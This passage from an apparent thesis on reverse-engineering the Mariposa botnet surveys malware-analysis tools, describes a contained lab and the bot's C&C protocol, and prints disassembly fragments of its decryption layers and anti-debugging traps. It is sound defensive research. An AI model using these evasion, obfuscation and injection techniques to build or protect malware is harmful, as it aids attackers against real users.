In reverse code analysis, machine code is converted into human readable format and then

analysis is continued with the converted code. There are two types of reverse code analysis:

static code analysis and live code analysis. In both types of analysis, disassemblers and

decompilers are used to convert the machine code into human readable format.

2.5.1 Static Code Analysis

There is no execution of code in the static code analysis. In this type of analysis, binary

executable is converted into human readable assembly format then the analysis is continued
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with this converted format. Specialized software like disassemblers are used for the con-

version process. The downside of this type of analysis is that it needs formidable amount of

expertise to understand the functionality of the binary. Unable to detect data and dataflow

is one of the difficulties that has been faced during static analysis. Encryption is another

barrier for the static analysis. It is almost impossible to analyze the binary that is encrypted

or packed. The packed or encrypted binary unpacks itself at run time in order to create

meaningful machine code and that is why live code analysis is the only hope for the packed

or encrypted binary.

2.5.2 Live Code Analysis

Like static analysis, live code analysis also works with the idea of converting machine

code into human readable assembly form using either a disassembler or a decompiler. In

addition to that, live code analysis runs the code inside a debugger. Using the debugger,

user can single step through each line of code. As the program runs inside a debugger, the

internal data structure, the control flow and the sequence of function calls can be viewed

and analyzed to get in depth understanding of the binary.

2.5.3 Disassembler

Disassembler is a very important tool for the task of reverse engineering. This software

tool is a must for all types of reverse code analysis. The task of a disassembler is to take

the machine code as input and then to convert it into human readable assembly format.
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Disassembler enumerates each machine instruction and decodes into the assembly repre-

sentation. As the machine instruction sets are different for different hardware platform,

the corresponding assembly representation is also different. This turns the disassembly to

become platform specific. For instance, IDA Pro [74] and OllyDbg [96] are the two most

commonly used powerful disassemblers with multi platform support.

2.5.4 Decompiler

Decompilers does slight higher attempt compare to the disassemblers. Decompiler takes

the machine instruction as input and rather than converting into assembly code it converts

it into a high-level code. As the name indicate, the intent is to perform the exact opposite

process that compiler does. Though it is quite impossible (up to now) to generate the same

high-level code, it is possible to reproduce code that helps to understand the real code with

some manual modifications. Recently, Hex-Rays releases Hex-Rays decompiler [74] that

works as a plugin of IDA Pro. Hex-Rays decompiler generates C-like representation of the

machine code.

2.5.5 Debugger

A typical debugger is a computer program that assists to examine or debug other programs

to detect and locate errors. Debuggers in combination with disassemblers form a very

powerful reverse engineering platform to understand the secrets of code where source code

is unavailable. Most debuggers support a functionality to step through the code. Stepping

through the code means the execution of each instructions separately and transfer control

33



to the debugger after execution of each instruction. In IA-32 processor family, the single

stepping is implemented using the processor’s Trap Flag (TF) in the EFLAGS register. If the

trap flag is enabled then the processor generates a single step interrupt (Interrupt number

1) after executing each instruction. While stepping through the code, debugger shows a

disassembled view of the binary with the help of a disassembler. At the same time, it

shows the contents of the CPU registers and also the contents of the stack. Some of the

well-known debugging frameworks are: IDA Pro [74], PaiMei [45] and OllyDbg [96].

IDA Pro Disassembler & Debugger

IDA Pro Disassembler & Debugger [74] is an extremely strong disassembler and debugger

from Hex-Rays. IDA Pro can be hosted on Windows, Linux, or Mac OS X. The tool supports

disassembly of more than 50 processor families, including IA-32, IA-64 and AMD 64 [73].

A typical IDA Pro interface is shown in Figure 2.2. IDA Pro is one of the best choice as a

disassembler or debugger for the following reasons:

• Programmability and Extendibility. User can extend the IDA Pro functionality using

the Software Development Kit (SDK) provided by IDA Pro. IDA Pro SDK can be

used to manipulate the process of disassembly. An internal C like language is used

to extend its functionality. Analyzer can write his own script to automate the process

of reverse engineering.

• Code Graphing. IDA Pro is capable to show the assembly code in a graphical view,

which is very useful from the analyzer point of view. Figure 2.3 shows graphical

view of the assembly code.
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Figure 2.2: Typical IDA Pro Screen

• Plugins. A vast collection of IDA Pro plugins are readily available to use that are

developed by IDA Pro community [43]. Among the plugins, some are extremely

helpful for reverse engineering. For instance, IDAPython [68] enables IDA Pro to

write script in Python programming language; Fake Code Remover tries to remove

fake code from executable; FindCrypt2 helps to detect cryptographic algorithms that

are used in target programs; and IDA Stealth [42] and Stealth [4] are useful to surpass

anti-debugging tricks that are generally used in modern malware. Debugging of mal-

ware will turn more hectic without the help of IDAStealth and Stealth. IDAStealth

is capable to hide debugger from most of the anti-debugging traps. A screen shot of
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Figure 2.3: IDA Pro Graphical View

IDAStealth is shown in Figure 2.4.

2.6 Behavioral Analysis

Behavioral analysis is the process of understanding the internal mechanisms of applications

by examining their interactions with the systems they run on. Because of the unavailability

of malware source code and the arduous nature of code analysis, behavioral analysis has

long been used in the area of malware analysis. The broad-spectrum of behavioral analysis

is to execute the malware in a secured instrumented environment and thereby observe how it
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Figure 2.4: IDAStealth Interface

interacts with the file system, registry, API functions and network. The results of behavioral

analysis can directly be used to detect malicious activities. For example, Symantec [19]

uses behavioral analysis techniques to find heuristics of malicious code. In the following

we describe few specialized tools that are used for behavioral analysis.

2.6.1 Registry Monitoring

We can get a fair amount of information by monitoring the registry changes. Malware often

changes the registry to survive reboot and for other purposes. Open source tool Regshot
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Figure 2.5: Regshot Interface

[14] is quite helpful to detect the registry changes. Regshot allows users taking registry

snapshots prior and after executing a malware. The tool comes with a compare feature that

allows finding the changes done by the executed malware. The user interface of Regshot

is shown in Figure 2.5. Another effective tool for monitoring registry is RegMon which is

integrated with Process Monitor; a tool from Sysinternals Suite by Mark Rusinovich [103].

2.6.2 Process Monitoring

Active system monitoring like process monitoring provides valuable information. The tar-

geted investigable information includes: process name and ID, path of the executable pro-

gram, loaded modules and associated handlers. Windows Sysinternals [103] suite provides

two useful tools for process monitoring, namely Process Explorer and Process Monitor.

Process Explorer is like an extended version of Windows task manager. Using Process
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Figure 2.6: Process Explorer Interface

Explorer, we can see the handles and the Dynamic Link Libraries (DLL) opened by a spe-

cific process as shown in Figure 2.6. In the figure, we can see that the interface has two

sub windows. The top window shows the list of currently running processes whereas the

bottom window shows the opened handles or the DLLs depending on the configuration of

the tool.

2.6.3 File System Monitoring

Detecting file system changes is another important aspect of understanding malware ac-

tivities. File system monitoring can provide fair amount of information, though it is hard
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to detect file system changes caused by a malware. The reason is that malware often in-

stalls rootkits to manipulate the output of the file access API. Filemon from Sysinternals

suite [103] is now integrated with Process Monitor which is a very effective tool to monitor

file-system level traffic between programs and operating systems.

2.6.4 InstallSpy

Monitoring of the installation process often provides baseline information regarding a mal-

ware. InstallSpy [44] is used to track any changes in registry or file systems when a program

is executed or installed. To capture these changes, InstallSpy first takes a snapshot of the

system before executing the target malware. The taken snapshot acts as a base to detect

further changes in the system. After taking the first snapshot, InstallSpy prompts to execute

the target malware. After the execution of the malware InstallSpy takes another snapshot,

compares both snapshots for the changes in the system and generates an HTML report.

2.6.5 SysAnalyzer

SysAnalyzer is another runtime malware analysis tool from iDefense Labs to detect various

system changes [81]. Though it is almost impossible to get in-depth knowledge using these

types of tools, a fair amount of knowledge can be obtained that can assist other types of

analysis. SysAnalyzer also comes with ProcessAnalyzer to gather process-related infor-

mation from systems. SysAnalyzer is capable to monitor and compare: running processes,

open ports, loaded drivers, injected libraries, key registry changes, called APIs, file modi-

fications and different network traffics. Moreover, SysAnalyzer is also capable to create a
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memory dump of target process, parse memory dump for strings and scan memory dump

for known exploit signatures.

2.6.6 Network Monitoring

Network activity monitoring is another significant part of behavioral malware analysis.

Capturing or revealing network activities can provide numerous insights about the targeted

malware or botnet. It can provide information about the communication protocol that is

used to communicate between a bot and a Command and Control server (HTTP, UDP or

P2P). Network traffic analysis also can be used to detect the C&C server and the opened

ports associated with the bot or malware. A number of readily to use network analyzers

are available to use ranging from simple to robust and multi-functional. Few of them are:

Visual Sniffer [41], Network Probe [95], PacketMon [39], SmartSniff [17], IP Sniffer [38]

and Wireshark [122]. Among them Wireshark, a GUI-based network traffic analyzer, is the

most popular among the users. There is another network monitoring tool namely CurrPorts

[36] which is very useful to detect open ports in systems. For each opened port in the

system, CurrPorts displays information about the process that is responsible to open the

port along with the process name. CurrPorts also provides the full paths of processes as

well as the version information.

2.6.7 Capture BAT

Capture BAT is a behavioral analysis tool for Win32 operating system family [3]. Capture

BAT is developed and maintained by Christian Seifert and is a product of New Zealand
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Honeynet Chapter. Capture BAT is able to detect system changes while an application is

running or a document is being processed. Capture BAT has the capability to detect state

changes on kernel level and it is also capable to filter out event noise that naturally occurs

on an idle system. Capture is also able to detect changes when executing documents, e.g.,

the behavior of a malicious Microsoft Word document.

2.6.8 Sandboxes

So far, we have described different system monitoring tools to analyze different aspects of

systems. It would be better to implement an environment equipped with all the function-

ality of system monitoring tools. Accordingly the researchers come up with sandbox. A

sandbox is a security mechanism for separating running programs. It is used to execute

malware program in a tightly-controlled environment. In essence, it is an automated tool

to analyze malware in a secured environment. There are few sandbox implementations for

example, Norman Sandbox [94], The Reusable Unknown Malware Analysis Net (TRU-

MAN) [111], GFI Sandbox [70], Anubis [5] and Joebox [104]. The general purpose of all

the sandboxes lies on logging system interactions. One technique used by sandboxes to log

system interactions is by hooking system functions. Function hooking means the intercep-

tion of any call to that function. When a hooked function is called, control is delegated to a

different location where the injected code resides5. The injected code then performs its own

operation. It may prevent execution of the hooked function or may tamper the return result

of the hooked function. Some sandboxes also retrieve system interactions using emulation

5Hooking is achieved with the help of code injection
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techniques [5].

2.7 Literature Review

The analysis of botnets is a worthwhile exercise. It aims at uncovering the employed tech-

nologies in terms of obfuscation, encryption, injection and communication. Efficient de-

tection, eradication and prevention techniques can be designed and implemented from the

insights gained from such type of analysis. In the sequel, we discuss the state-of-the-art

research proposals in the area of botnet analysis.

Nazario [93] has presented the analysis of an HTTP botnet, namely, BlackEnergy. The

analysis has provided a detailed information about the botnet architecture, commands and

communication patterns. BlackEnergy is a web-based crimeware tool that allows building

bot binaries. The main threat of this botnet is its capability to perform Distributed Denial

of Service (DDoS) attack. Chiang and Lloyd [57] have studied the Rustock rootkit. This

rootkit contains a spam bot module. The authors have studied the network traces and

noticed that the traffic is encrypted by RC4 algorithm. The Rustock rootkit has multiple

levels of obfuscation, which makes it hard to detect. The main usage of this tool resides

in spamming. In addition to the network analysis, the authors have been able to extract

the encryption key of the communication. Konstantin Rozinov have described the reverse

engineering findings of the Bagle virus [102]. He has also described the resources and the

environment used for the reverse engineering process.
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Daswani et al. [63] have put forward a detailed case study of clickbot.A. This bot is re-

sponsible of low-noise click fraud attack against syndicated search engines. Their analysis

has covered the main components of this botnet as well as the commands and the config-

uration. Porras et al. [98] reverse engineered the Storm botnet. They have detailed the

techniques that have been used to hide the binary and how it has been obfuscated. This

botnet is primarily used to send email spams and DDoS attacks. Thorsten et al. and Brian

Kerbs have investigated the the Storm botnet by studying the encryption key generation

algorithm that is used for communication between different peers [79, 82].

David and Sven have reported their analysis of the Nugache instance [66]. They have

analyzed the communication pattern between different principals. The communication is

based on a key exchange protocol. In Nugache botnets, the bot herder instructs bots to listen

to a specific IRC channel in order to initiate a DDoS attack. The authors have addressed

extra aspects of their initial analysis and estimated the size of the Nugache botnet using a

bot client crawler. Burji et al. [55] have presented a case study of the Nugache worm using

reverse engineering techniques. The authors have studied the generation of the dynamic

pattern of the malware using rough set based machine learning tool. In their work, they

have used data mining techniques to extract attributes from the reverse engineer of the

malware. The attributes are then used to define decision rules in a natural language format.

Afterwards, decision rules are used to find how the attributes are dependent to find the

dynamic patterns.

Danilo et al. [54] have proposed a strategy of detecting self-mutating metamorphic mal-

ware. They have analyzed the type of the transformations that are adopted by the malware
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to mutate itself. They have also proposed a self-mutating code detection technique which is

based on the comparison of control flow graphs. Their approach is based on the detection of

the mutation process and on the analysis of programs in order to detect the malicious code.

They have used code normalization technique to ease the process of code comparison. Bai

et al. [47] have discussed about the techniques to find similarities between the known mal-

ware and its variants. They have focused on the sequence of a critical API-calling to find

the similarities. The critical API-calling graphs are extracted from the control flow graph

for each malware which are then used as the base information of detecting suspicious be-

haviors. They have argued that, their technique can overcome the limitations present in the

antiviruses for the detection of unknown malware as well as the variants of the malware.

2.8 Summary

In this chapter, we have presented an overview of malware and its counterpart malware

analysis. Actually, we have presented different types of malware primarily focusing on

botnet. In addition, we have also discussed about the sophisticated techniques that are used

by new botnets. Furthermore, we have discussed about various tools and techniques used

for reverse engineering including behavioral analysis and reverse code analysis. Moreover,

we have also presented an overview of current literature on the subjects that are related to

botnets and botnet reverse engineering.
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Chapter 3

Reversing Mariposa Botnet

Mariposa is a new type of botnet with built-in spreading mechanism. It was claimed that

13 million machines infected around 190 countries in the world by this botnet once it has

appeared in May 2009 [10]. In addition to the spreading capabilities, Mariposa bot has

changed frequently using polymorphism technique in order to evade antivirus detection.

Due to this evolving capability, 1500 variants of Mariposa have been detected so far [10].

Mariposa is able to download and execute malicious code on the fly, which means the

botmaster can infinitely extends the functionality of the malicious software. Moreover, it

can be associated with other botnets since it has the capability to infect machines with

another malware. Mariposa botnet also uses its own communication protocol which is

based on User Datagram Protocol (UDP) protocol. In this chapter, we provide detailed

analysis of Mariposa botnet. We start with a brief overview of Mariposa botnet followed

by a description of the various components of the botnet. Afterwards, we provide the

findings of Mariposa behavioral analysis. Finally, we conclude with the results of reverse
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code analysis.

3.1 Overview

Different variants of binaries that constitute Mariposa botnet evolved from the so-called

Butterfly bot [31]. The author of Mariposa variants enhances the capabilities of the Butterfly

bot to make it more robust, resilient, and stealthy. The botnet architecture consists of

a set of clients, a master module and one or many server modules. The architecture is

connectionless because it is based on the UDP protocol [32]. The server plays a role of a

relay between the master and the clients. The UDP protocol is used due to its covertness.

UDP connections are not generally logged in firewalls and gateways which are not the case

with Transmission Control Protocol (TCP) connections. In order to check the presence of

bot clients, the server pings clients periodically in a predefined time gap. Server marks

the bot as time-out if it does not receive any reply from the bot. Further details about the

communication protocol is described in the network analysis section of this chapter. A

brief description of Mariposa’s components and its features are given below:

• Bot client. The bot has innovative capabilities comparing to majority of the bots

that exist in the wild. It has the ability to make direct code injection into remote

processes. The injected code corresponds to the entry point of all activities that are

done by the bot. Mariposa is capable to download any extra modules (e.g. Zeus

botnet) and execute them on the fly. Besides, it is capable of performing UDP and

TCP flooding, and tuning the flood strength by acting on the data and packet size.
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In addition, the bot has mechanisms to spread through the infection of USB keys

or using MSN messenger and also P2P applications. Moreover, the Mariposa bot

contains a module that tracks the visited web sites and a data grabber that catches

all the posted data that is sent from Internet Explorer and Mozilla Firefox. On the

other hand, the bot is endowed with two downloaders: The first one can download

via HTTP, HTTPS and FTP protocols, whereas the second downloads files via the

ButterFly Network Protocol [32]. Additionally, it has a built-in cookie stuffer for

Internet Explorer and Mozilla Firefox. Recently the author of Mariposa has added

new features like slowloris1, flooder and a reverse proxy module. The reverse proxy

module can turn all bots into proxy servers.

• Server. The server is a mediator between the master and the bot clients. It allows

controlling the traffic with clients by setting the number of frames per second in order

to diminish the CPU usage and the communication latency ratio. Botmaster can also

set up the maximum upload limit on the server. The master can localize the bots

using GeoIP localization2.

• Master. The master represents the core of all operations. Master module can get

multiple server connections and it has the ability to enable and disable servers and

clients. The master issues commands to bot clients through servers. These commands

are various and can be used to customize the operations that are done by clients.

1Slowloris is a piece of software used for DDoS attack.
2GeoIP is the geographical orientation of the IP addresses
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3.2 Behavioral Analysis

This section describes the results of our behavior analysis conducted on Mariposa botnet.

It consists of two parts: network traffic analysis and host activity analysis. In behavioral

analysis, we execute a Mariposa sample in a controlled environment to get an idea about

its activities. We also create a controlled environment that prevents spreading of the bot

and ensures the containment of the malware. We arm this controlled environment with a

set of tools in order to monitor different botnet activities. We set up a botnet topology

which contains a master, a server and an infected client. The main goal of the behavioral

analysis acts as a complement for the dynamic code analysis. In the sequel, we describe

the controlled environment that we set up in order to perform the behavioral analysis.

3.2.1 Environment setup

The controlled environment is based on VMware Server 2.0.3 [22] running on a Windows

XP system. This software allows running multiple virtual machines in an isolated envi-

ronment and gives a certain flexibility to create different types of network architecture. In

order to perform dynamic analysis, we set up an isolated network which is disconnected

from the Internet and configured as a host only network.

The network consists of a default virtual network, which behaves as a stub network.

In our analysis, we use four hosts to build a virtual network where hosts are used to run

different components of the botnet. We install a master and a C&C server in two host ma-

chines. Then, another host machine is used to play the role of Mariposa infected machine.
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The master is connected to the C&C server and plays the role of the controller. It con-

trols bot registrations and sends commands to the bots via the server. Since the bot client

running in the infected host needs name resolution to contact predefined C&C servers, we

use C : \windows\system32\drivers\etc\hosts file as a source of domain name resolution.

The fourth host is used as sniffing box which runs a live-CD for network analysts [15].

The utility of this live-CD resides in logging all communications promiscuously in order

to correlate events and monitor the network activities of the botnet. It also allows verifying

the presence of backdoors in the malware. In order to detect all the system changes, sys-

tem monitoring tools like Process Viewer [40], InstallSpy [44] and CurrProts [37] are also

installed in the system. The environment structure is illustrated in Figure 3.7.

Figure 3.7: Confined Environment Structure
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3.2.2 Network Analysis

Before going deep into the static/live code analysis, we perform network analysis in order

to understand about the communications between different components of the Mariposa

bot. The communication protocol that is used in Mariposa is also another issue that we

are interested about. To conduct the analysis, we set up the environment according to the

Figure 3.7. The NSMnow [25] network security analyzer is configured to capture traffic in

promiscous mode.

After analyzing the intercommunication traffic between the master, server and client,

we break them into three phases: initialization phase, bot liveness phase and action phase.

All these three phases involve the participation of the master, server and bot client module.

In the following, we describe different phases of the communication:

• Initialization phase. The initialization phase takes place immediately after an in-

fection. Once a bot takes control of a victim machine, its next target is to register

himself with the C&C server so that it can receive commands from the server. To

register with the C&C server, bot sends a join server command to the server. The

join server message contains an encrypted magic word to authenticate himself to the

server. If server authenticates the

bot, it acknowledges the registration by sending a join acknowledgement packet. By

receiving this packet, the bot sends an acknowledgement and a command/response

packet to the server. This command/response packet contains information about the

compromised machine e.g. system information and country code. Afterwards, the
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Figure 3.8: Mariposa Bot Initialization Protocol

server sends an acknowledgement to the bot and forwards the command/response

to the master, which acknowledges the reception of this message to the server. The

initialization phase is shown in Figure 3.8.

• Bot liveness check phase. After the initialization phase, bot client is successfully

registered to the server. At this point, we can observe the second phase of the com-

munication which checks the liveness of bot clients. In liveness check phase, the

server keeps sending command/response packets to the bot client in a frequency of

predefined tunable time. If a given bot is alive, it replies with an acknowledgement

packet. Otherwise, the bot will be marked as time-out bot. Liveness phase is depicted

in Figure 3.9.
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Figure 3.9: Mariposa Bot Liveness Protocol

• Action phase. The bot client is now running in the remote machine. Server checks

the liveness of the bot periodically, and the bot is now ready to execute commands

issued by the master. The action phase aims to instruct the bots to make actions at the

infected hosts. In order to initiate the process, the master sends command/response

packet to the server. Master is capable to send the commands to any specific bot,

or a group of bots using GeoIP localization. The server forwards this packet to the

bot. After receiving the packet, the bot performs the action that is mentioned in the

packet. It acknowledges its action by sending an acknowledgement packet to the

server. The server also acknowledges by sending an acknowledgement packet to the

master. Action phase is shown in Figure 3.10.
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Figure 3.10: Mariposa Bot Action Protocol

3.2.3 Sandbox Analysis

Prior to reverse code analysis, we analyze the malware using GFI Sandbox [70] to get an

initial insight. As we have discussed before in Chapter 2, GFI Sandbox is an automated

malware analysis tool to monitor and report the behavior of malware at runtime. From

the insight provided by GFI Sandbox, we notice that after the execution, Mariposa creates

some new files in C : \RECYCLER directory and sets the file attributes to hidden, read-

only, system and anonymous. These files could be used to save a local copy of the bot.

Thereafter, Mariposa infects the explorer.exe process. We also find that the thread that

runs inside explorer.exe manipulates some files and registry changes and eventually tries

to communicate with the C&C server. We present three screen shots showing the analysis

report of GFI Sandbox below. Figure 3.11 and Figure 3.12 show the partial result of file

and registry activities respectively whereas Figure 3.13 shows the network activity of the

Mariposa bot.

54



Figure 3.11: Mariposa File System Activity By GFI Sandbox

Figure 3.12: Mariposa Registry Activity By GFI Sandbox
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Figure 3.13: Mariposa Network Activity By GFI Sandbox

3.3 Dynamic Code Analysis

Dynamic code analysis is very imperative in order to get an in-depth understanding of

malware. It actually allows digging into the inner-secrets of the malware code. In our anal-

ysis, we use IDA Pro Disassembler and Debugger [74] to analyze the Mariposa bot client.

The MD5 hash of the malware variant is 3E3F7D8873985DE888CE320092ED99C5. The

analysis consists of debugging the executable and getting over the obfuscation and anti-

debugging techniques that are employed by Mariposa. We also analyze the code injec-

tion process of Mariposa as well as its after-injection activities like registry manipulation,
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spreading mechanism, etc.

After loading the bot binary in IDA Pro, we observe that most of the bot codebase

is meaningless which implies a highly encrypted code. Figure 3.14 depicts the different

phases of Mariposa bot metamorphose. We can see that bot code goes under multiple de-

cryption routines to turn into valid machine instruction. We can also see extensive use of

anti-debugging techniques to make the task of reverse engineering arduous. The execution

of the bot client can be characterized into four phases: the obfuscation phase, the decryp-

tion phase, the injection phase and the after-injection phase. In the sequel, we introduce the

different phases that are related to the de-obfuscation, anti-debugging traps and different

decryption layers.

Figure 3.14: Mariposa Decryption Phases
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3.3.1 De-obfuscation and Decryption

Code obfuscation is nowadays a standard practice within Malware. It constitutes the con-

cealment of the intended meaning of integrated malicious code. It makes the code con-

fusing, intentionally ambiguous and more difficult to interpret. In the Mariposa bot, the

obfuscation starts with useless computations. These computations are conducted within a

loop that iterates 889,976,605 times. Figure 3.15 shows the loop using IDA Pro.

.text:0041D476 loc_41D476:

.text:0041D476 and edi, 59h

.text:0041D479 dec ebp

.text:0041D47A rol edi, 66h

.text:0041D47D cmp ebp, 0

.text:0041D480 jnz short loc_41D476

.text:0041D482 dec ebx

Figure 3.15: Unwanted Loop

At the end of this loop, a jump is performed to an address loaded into EAX register.

As a consequence, control transfers to a routine that XORs the range of data that is located

between the addresses 0x41D000 and 0x41D4C0 with the constant 0x0CA1A51E5. The

outcome of this decryption routine is a valid code block that will be used later for anti-

debugging traps and further code decryption. This is the first routine employed by Mariposa

for the code decryption. Figure 3.16 shows the routine in assembly.

At the end of this decryption routine, the address 0x41D047 is pushed onto the stack.

As a result, the control flow is transferred to this address and anti-debugging traps start

executing as we have stated before.
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Stack[00000B00]:0013FFA6 xor dword ptr [ecx], 0CA1A51E5h
Stack[00000B00]:0013FFAC nop
Stack[00000B00]:0013FFAD add ecx, 4
Stack[00000B00]:0013FFB0 nop
Stack[00000B00]:0013FFB1 nop
Stack[00000B00]:0013FFB2 cmp ecx, offset dword_41D4C0
Stack[00000B00]:0013FFB8 jl short sub_13FFA6
Stack[00000B00]:0013FFBA nop
Stack[00000B00]:0013FFBB push offset loc_41D047
Stack[00000B00]:0013FFC0 retn

Figure 3.16: First Decryption Routine

3.3.2 Anti-debugging traps in Mariposa

Anti-Debugging techniques are ways for a program to detect if it runs within a controlled

environment or a debugger. They are used by commercial binary protectors, packers and

malicious programs to prevent or slow-down the process of reverse engineering. The Mari-

posa bot client uses several anti-debugging techniques. These techniques make the reverse

engineering tasks as strenuous and difficult as possible. These techniques increase the time

that is required for the full analysis of the bot binary.

The valid code located between the addresses 0x41D000 and 0x41D4C0 is the outcome

of the first decryption routine. The code resides in this range is responsible for the anti-

debugging traps and second layer decryption. The address 0x41D047 constitutes the entry

point of the code segment that employs anti-debugging traps. The most important anti-

debugging techniques that have been encountered in this code segment are ICE breakpoint,

Outputdebgstring, QueryPerformanceCounter, GetTickCount and Stack Segment Regis-

ter. Mariposa also uses debugger detection codes in various parts of its execution.
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ICE Breakpoint

It is one of the Intel’s undocumented instructions with opcode 0xF1. The execution of

this instruction generates a single step exception. This instruction pushes a debugger to

think that a normal exception is generated by the program. It sets the single step bit in the

flag register. Thus, the associated exception handler is not executed. In order to bypass

this trap, we avoid the use of single step execution of the code segments that contain ICE

breakpoints.

Stack Segment Register

Stack Segment Register trap works by exploiting a property of the Intel x86 hardware de-

bugging system. According to Intel x86 architecture, hardware breakpoints are not effective

when they used after pop ss instruction. If the program traced (using a debugger) over pop

ss instruction, the next instruction will be executed covertly. As a consequence, the trap

flag remains set. Protection code checks the trap flag to detect the presence of a debugger.

Figure 3.17 shows the use of Stack Segment Register trap in Mariposa. It can be observed

that after the pop ss instruction, it uses pushf instruction to push all the flags into the regis-

ter. Afterwards, it calls the routine loc_41D128 to check the flags to determine if the code

is traced or not.

QueryPerformanceCounter

Primarily, the QueryPer f ormanceCounter library function is used to compute the hardware

performance. The function reads the values of performance counters that are stored in some
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.text:0041D113 loc_41D113:

.text:0041D113 cmp eax, 40h

.text:0041D118 push ss

.text:0041D119 pop ss

.text:0041D11A pushf ; Push Flags Register onto the Stack

.text:0041D11B pop eax

.text:0041D11C and eax, 100h

.text:0041D121 add eax, offset loc_41D128

.text:0041D126 push eax

.text:0041D127 retn

Figure 3.17: Stack Segment Register Trap in Mariposa

processor registers 3. Mariposa uses the return value of this function to compare hardware

activity with a threshold value and determines the presence of debugger.

GetTickCount

The GetTickCount library function is located in the library kernel32.dll. It returns the

number of milliseconds that the system has elapsed since it last reboots. The highest return

value is 49.7 days. Mariposa calls the GetTickCount function consecutively in two different

locations of the binary and calculates the difference of the two return values. Afterwards,

it compares the difference with a threshold value to determine the presence of a debugger.

OutputDebugString

The function Out putDebugString, which is generally used by encryption programs, re-

ceives a string as a parameter. If a program runs under a debugger, then, the returned value

of this function corresponds to the address of the string that is passed as a parameter. Oth-

erwise, it returns the value 1. We can see the use of the function Out putDebugString in

3Contemporary processors use registers that act like performance counters. They count performance of
hardware activities within the processor.
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Figure 3.18.

.text:0041D0E0 aOutputdebugstr db ’OutputDebugStringA’,0;

.text:0041D0F3 ;

.text:0041D0F3 push offset aOutputdebugstr

.text:0041D0F8 call eax

.text:0041D0FA add eax, offset byte_41D101

.text:0041D0FF push eax

.text:0041D100 retn

Figure 3.18: OutputDebugString Trap in Mariposa

Various techniques need to be adopted to circumvent the anti-debugging techniques

used in malware. There are some very useful plugins of IDA Pro, which are extremely

helpful to bypass those traps, e.g., IDAStealth [42] and Stealth [4]. To avoid some of the

traps, we need to avoid single stepping on the code segments that constitute the trap.

3.3.3 Second Layer Decryption

After unveiling and sidestepping the obfuscation and the anti-debugging routines, we reach

the part of code that contains the second decryption routine. The second layer of decryp-

tion corresponds to an iteration of a XOR operation with a 32-byte key. Each byte from

the encrypted data is XORed with a byte from the key. This byte corresponds to the

modulo result of data byte position with the size of the key (32 bytes). This algorithm

iterates three times for three different chunks of data. The first location of data corre-

sponds to the range [0x401000,0x415FB3]; the second location of data resides in the range

[0x416000,0x417A52] and the third location of data is within the range [0x418000,0x41D21E].

There exist three 32-byte keys; each one is used in the algorithm for each chunk of data.

These keys are located at the following addresses: 0x41D015, 0x41D155 and 0x41D1B4.
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All the three iterations of the decryption use the same algorithm to decrypt the code/data

with different keys. Figure 3.19 shows the assembly code of the second decryption routine.

The pseudocode of the decryption algorithm is also summarized in Figure 3.20. The value

x in the pseudocode corresponds to the key location whereas r1 and r2 are the start and the

end addresses of the data respectively.

.text:0041D128 loc_41D128:

.text:0041D128 mov ebp, 41D015h

.text:0041D12D mov ecx, offset sub_401000

.text:0041D132 mov ebx, 415FB3h

.text:0041D137

.text:0041D137 loc_41D137:

.text:0041D137 cmp ebp, offset loc_41D047

.text:0041D13D jz short loc_41D145

.text:0041D13F mov al, [ebp+0]

.text:0041D142 inc ebp

.text:0041D143 jmp short loc_41D14C

.text:0041D145 ;

.text:0041D145

.text:0041D145 loc_41D145:

.text:0041D145 sub ebp, 32h

.text:0041D148 mov al, [ebp+0]

.text:0041D14B inc ebp

.text:0041D14C

.text:0041D14C loc_41D14C:

.text:0041D14C xor [ecx], al

.text:0041D14E inc ecx

.text:0041D14F cmp ecx, ebx

.text:0041D151 jnz short loc_41D137

.text:0041D153 jmp short loc_41D187

Figure 3.19: Second Layer Decryption

After executing the first and the second layers of decryption, the control flow reaches a

part that is responsible of loading the imported functions. In this portion, Mariposa loads

functions from module Kernel32.dll. A list of loaded functions are showed in the Ap-

pendix section. Mariposa loads the imported addresses with the help of LoadLibrayA and

GetProcAddress. Definition of GetProcAddress is shown in Figure 3.21 where hModule
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Second_Decryption_layer ()
{

Key_size=32 byte;
Key_location=x;
Key[]=getKey(x);
Start_address=r1;
End_address=r2;
Enc_data[]=getData(Start_address,End_address);
for(i=0;i<Enc_data.size();i++)

{
Dec_data=Enc_data[i] XOR key[i % 32];

}
}

Figure 3.20: Pseudocode of Second Decryption Routine

is obtained by calling LoadLibraryA which returns a handle of the specified module. The

next step consists of running third decryption routine. This routine XORs each byte of data

in the range [0x41D000,0x41D21E] with a constant key 0x39.

FARPROC WINAPI GetProcAddress(
__in HMODULE hModule,
__in LPCSTR lpProcName

);

Figure 3.21: GetProcAddress Definition

After executing the third decryption routine, the program calls few loaded utility func-

tions to get the system and thread information. It calls the GetCurrentProcessID and

GetCurrentT hreadID functions to get the process and the thread identifiers. The func-

tions QueryPer f ormaceCounter and GetTickCount are used to get the performance of the

processor and the elapsed time of the system since its last reboot respectively. The intent

of collecting this information is to recheck whether the current process runs under a debug-

ger. In order to check whether it runs in a sandbox technology, it verifies the presence of

sbiedll.dll in the system. By getting over these traps, we notice that the program allocates
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60,925 bytes of space in the stack as a preparation to run the fourth decryption routine. The

fourth decryption routine decrypts the data in the range [0x40FE5C,0x41EC59] by running

the code that is shown in Figure 3.22, and loads the result into the allocated space in the

stack. Therefore, Mariposa transfers its control to the stack to execute the lately decrypted

code. The pseudocode for the fourth decryption routine is shown in Figure 3.23.

Until this point, Mariposa code passes several phases of decryption. However, all the

strings are encrypted. These strings represent API functions and a magic word4 that will

be used by the injected process. Once the fourth layer decryption is done, the program runs

a decryption routine three times. This routine decrypts all the strings that are located in

.data section of the binary. Figure 3.24 and Figure 3.25 illustrate the pseudocode and the

assembly routine of the string decryption respectively.

3.3.4 Code Injection

This section describes the process of code injection that is employed by Mariposa. Despite

substantial improvement in host-based security, the code injection technique still sustains

as the favorite method to compromise operating systems. The code injection method is

used to conceal evil processes inside legitimate processes. The execution of a process

inside another address space can be achieved in several ways. We can enumerate Windows

hooks [29], DLL injection and Direct Code Injection (DCI) [11]. The Mariposa bot uses the

DCI technique to inject malicious code inside the address space of explorer.exe. Instead

of writing a separate DLL, the DCI technique directly copies the malicious code inside the

4Magic word is used by Mariposa to authenticate its zombies

65



.text:00401000 push ebp

.text:00401001 mov ebp, esp

.text:00401003 push ebx

.text:00401004 push esi

.text:00401005 mov ebx, offset unk_418CA0

.text:0040100A inc ebx

.text:0040100B cmp byte ptr [ebx], 0

.text:0040100E jz short loc_40104D

.text:00401010 call $+5

.text:00401015 pop esi

